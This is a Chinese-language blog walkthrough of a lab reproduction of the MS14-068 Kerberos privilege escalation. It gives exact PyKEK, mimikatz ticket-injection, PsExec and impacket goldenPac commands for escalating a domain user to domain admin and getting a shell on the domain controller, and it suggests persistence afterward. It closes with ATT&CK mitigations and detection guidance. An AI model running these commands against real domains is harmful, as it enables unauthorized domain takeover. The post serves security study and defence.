美文网首页
MS14-068 Kerberos域用户提权漏洞

MS14-068 Kerberos域用户提权漏洞

作者: doinb1517 | 来源:发表于2021-11-26 09:42 被阅读0次

    前置知识

    Kerberos简介

    Kerberos协议是一种基于第三方可信主机的计算机网络协议,它允许两个实体之间在非安全网络环境(可能被窃听、被重放攻击)下以一种安全的方式证明自己的身份。

    漏洞简介

    远程权限提升漏洞存在于 Microsoft Windows 的 Kerberos KDC 实现中。存在该漏洞的症状是,Microsoft Kerberos KDC 实现无法正确验证签名,这可能造成 Kerberos 服务票证的某些方面被人伪造。简单来说就是一个域内的普通账户可以利用此漏洞进行权限提升,升级为域管理员权限。

    漏洞需要以下四样道具

    1、任意域账户
    2、域账户密码
    3、SID
    4、域控服务器IP
    

    ATT&CK

    MS14-068是横向移动Pass the Ticket技术的一种,利用Kerberos认证机制进行攻击。除此之外,常见的还有金票攻击和银票攻击。本次不再详细介绍。

    T1550.003 Use Alternate Authentication Material: Pass the Ticket 票据传递

    T1558.001Steal or Forge Kerberos Tickets: Golden Ticket 黄金票据

    T1558.002Steal or Forge Kerberos Tickets: Silver Ticket 白银票据

    实验记录

    环境介绍

    DC windows Server 2008 R2 IP:192.168.1.1 计算机名:hs-dc.hack.lab
    win7 专业版 IP:192.168.1.3
    

    用户配置

    测试用户 test02
    密码 Test03!@#
    

    漏洞利用

    查看系统补丁情况,没有打KB3011780补丁的机器是可以利用的

    wmic qfe GET hotfixid
    

    查看用户的SID

    whoami /user
    
    01.png

    获得SID

    S-1-5-21-3725850554-4274512539-2478289712-1112
    

    还可以使用这条命令获取域内所有用户的 SID:

    wmic useraccount get name,sid
    
    09.png
    pykek

    PyKEK 是一个利用 Kerberos 协议进行渗透的工具包,使用 PyKEK 可以生成一个高权限的服务票据,之后通过 mimikatz 将服务票据导入到内存中。

    github https://github.com/mubix/pykek

    上面的python脚本需要python2.7的环境,也可以把py文件打包为exe,github上有人已经完成,使用方法和py脚本一样,如果担心安全问题,也可以自己打包。

    exe:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

    输入

    MS14-068.exe -u test02@hack.lab -s S-1-5-21-3725850554-4274512539-2478289712-1112 -d 192.168.1.1 -p Test03!@#
    
    16.png
    17.png

    在同级目录下生成票据

    TGT_test02@hack.lab.ccache
    

    注入之前,查看域控的共享C盘,显示权限不足:(注意:这边需要使用域控的完整名称

    18.png

    清除票据

    kerberos::purge
    
    14.png

    注入高权限票据

    kerberos::ptc "TGT_test02@hack.lab.ccache"
    
    19.png

    访问域控C盘共享,查看权限

    20.png

    阅读资料: IPC共享知识 https://www.cnblogs.com/csnd/p/11807910.html

    接下来进一步尝试获取域控的shell,使用PsExec64.exe,下图可以看到我们已经获取了域控的shell。下一步可以根据自己的习惯进行一些持久化操作,例如添加域控账号等。

    PsExec64.exe \\DC的名称 cmd.exe
    
    21.png
    goldenPac

    攻击脚本为goldenPac.py,该脚本是impacket工具包里面的

    https://github.com/SecureAuthCorp/impacket/blob/master/examples/goldenPac.py

    goldenPac.py -dc-ip 1.1.1.1 -target-ip 2.2.2.2 domain.net/normaluser:mypwd@domain-host
    

    打包好的exe版本 https://github.com/maaaaz/impacket-examples-windows

    goldenPac.exe 域/用户:密码@dc名称
    
    22.png

    缓解措施

    以下的缓解措施基于ATT&CK给出

    M1026 Privileged Account Management 特权账户管理

    M1051 Update Software更新软件

    M1052 User Account Control用户账户控制

    M1018 User Account Management用户账户管理

    检测

    Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.

    Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.[1]

    监控LogonType为3且认证数据包为NTLM的登录日志

    监控域控服务器上4768和4769的事件,并关联LogonType为3且认证数据包为Kerberos的登录日志。

    23.png
    24.png

    参考连接: https://zhuanlan.zhihu.com/p/409793688

    相关文章

      网友评论

          本文标题:MS14-068 Kerberos域用户提权漏洞

          本文链接:https://www.haomeiwen.com/subject/xhptxrtx.html